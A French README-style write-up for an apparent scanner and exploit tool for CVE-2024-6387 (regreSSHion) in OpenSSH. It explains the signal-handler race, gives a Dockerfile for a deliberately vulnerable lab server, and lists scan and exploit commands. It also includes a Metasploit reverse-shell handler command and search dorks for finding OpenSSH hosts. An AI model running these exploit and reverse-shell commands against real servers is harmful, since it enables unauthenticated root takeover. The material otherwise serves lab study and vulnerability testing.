
Scanne et exploite CVE-2024-6387 (regreSSHion) dans les serveurs OpenSSH. Dispose d'un scan multi-thread, de la récupération de bannière, de la détection du temps de grâce et d'un mode d'exploitation avec payload de shell inversé.
Il s'agit essentiellement d'une vulnérabilité statistique : un grand nombre de tentatives est nécessaire pour gagner la course et exécuter avec succès du code arbitraire. Les attaquants doivent surmonter de nombreux obstacles, a déclaré Schwartz à SecurityWeek. « Même dans le scénario le plus favorable, la vulnérabilité la plus connue prend plus de 4 heures à exploiter. »
Dans les notes de version d'OpenSSH 9.8, les développeurs ont indiqué que la vulnérabilité n'a été confirmée que sur les systèmes Linux 32 bits basés sur glibc, et qu'OpenBSD n'est pas concerné.
L'environnement est configuré à l'aide de Docker.
# 1.1. Rédaction du Dockerfile
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
build-essential \
wget \
curl \
libssl-dev:i386 \
zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
tar -xzf openssh-9.2p1.tar.gz && \
cd openssh-9.2p1 && \
./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1
CVE-2024-6387.py - PoCL'exploit fonctionne UNIQUEMENT sur les serveurs OpenSSH 32 bits. Cela est dû au fait que le POC utilise des pointeurs 32 bits ! Il est également connu que certaines versions sont déjà corrigées, et que tous les serveurs ne sont pas vulnérables. Testé sur : Kali Linux, ParrotSec, Ubuntu 22.04
Vulnérabilité d'exécution de code arbitraire à distance sans authentification dans le serveur OpenSSH
CVE-2024-6387.py est un outil léger et efficace conçu pour identifier les serveurs exécutant des versions vulnérables d'OpenSSH, ciblant spécifiquement la vulnérabilité regreSSHion récemment découverte (CVE-2024-6387). Ce script facilite l'analyse rapide de plusieurs adresses IP, noms de domaine et plages réseau CIDR pour détecter les vulnérabilités potentielles et garantir la sécurité de votre infrastructure.
Une condition de course dans le gestionnaire de signaux a été découverte dans le serveur OpenSSH (sshd), où lorsqu'un client ne s'authentifie pas dans le délai LoginGraceTime (120 secondes par défaut, 600 dans les anciennes versions d'OpenSSH), le gestionnaire SIGALRM de sshd est appelé de manière asynchrone. Cependant, ce gestionnaire de signaux appelle diverses fonctions qui ne sont pas sûres pour les signaux asynchrones, par exemple syslog().
Vous pouvez trouver les détails techniques ici.
La faille, découverte par les chercheurs de Qualys en mai 2024, et identifiée sous l'identifiant CVE-2024-6387, est due à une condition de course dans le gestionnaire de signaux de sshd qui permet à des attaquants distants non authentifiés d'exécuter du code arbitraire en tant que root.
« Si un client ne s'authentifie pas dans le délai LoginGraceTime (120 secondes par défaut), le gestionnaire SIGALRM de sshd est appelé de manière asynchrone et appelle diverses fonctions qui ne sont pas sûres pour les signaux asynchrones. »
« Un attaquant distant non authentifié peut tirer parti de cette faille pour exécuter du code arbitraire avec les privilèges root. »
Exigence : python3 dernière version
### Arguments de la ligne de commande
mode: Sélectionne le mode de fonctionnement. Les choix sont scan ou exploit.
-T, --targets: Adresses IP, noms de domaine, chemins de fichiers contenant des adresses IP, ou plages réseau CIDR.
-f, --outputfile: Fichier pour enregistrer les résultats (par exemple, result.json).
-g, --gracetimecheck: Temps en secondes à attendre après l'identification de la version pour vérifier l'atténuation LoginGraceTime (défaut : 120 secondes).
-n, --nic: Interface réseau (défaut : 'eth0').
-o, --output: Format de sortie pour les résultats (choix : 'csv', 'txt', 'json').
-p, --port: Numéro de port à vérifier ou à exploiter (défaut : 22).
-s, --speed: Nombre de threads pour augmenter les chances de condition de course (défaut : 10).
-t, --timeout: Délai de connexion en secondes (défaut : 1 seconde).
-H, --resolve-hostnames: Résoudre les noms d'hôtes
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Tout ce que vous avez à faire est d'exécuter la commande ci-dessous en premier (modifiez le gestionnaire {yourip}) puis d'exécuter l'exploit ensuite avec la commande ci-dessus
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
L'outil fournit une sortie codée par couleur sur la console pour une meilleure lisibilité :
Vert : Connexion ou opération réussie. Rouge : Connexion échouée ou erreur. Jaune : Avertissements ou informations notables. Cyan : Informations générales ou mises à jour de statut.
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-access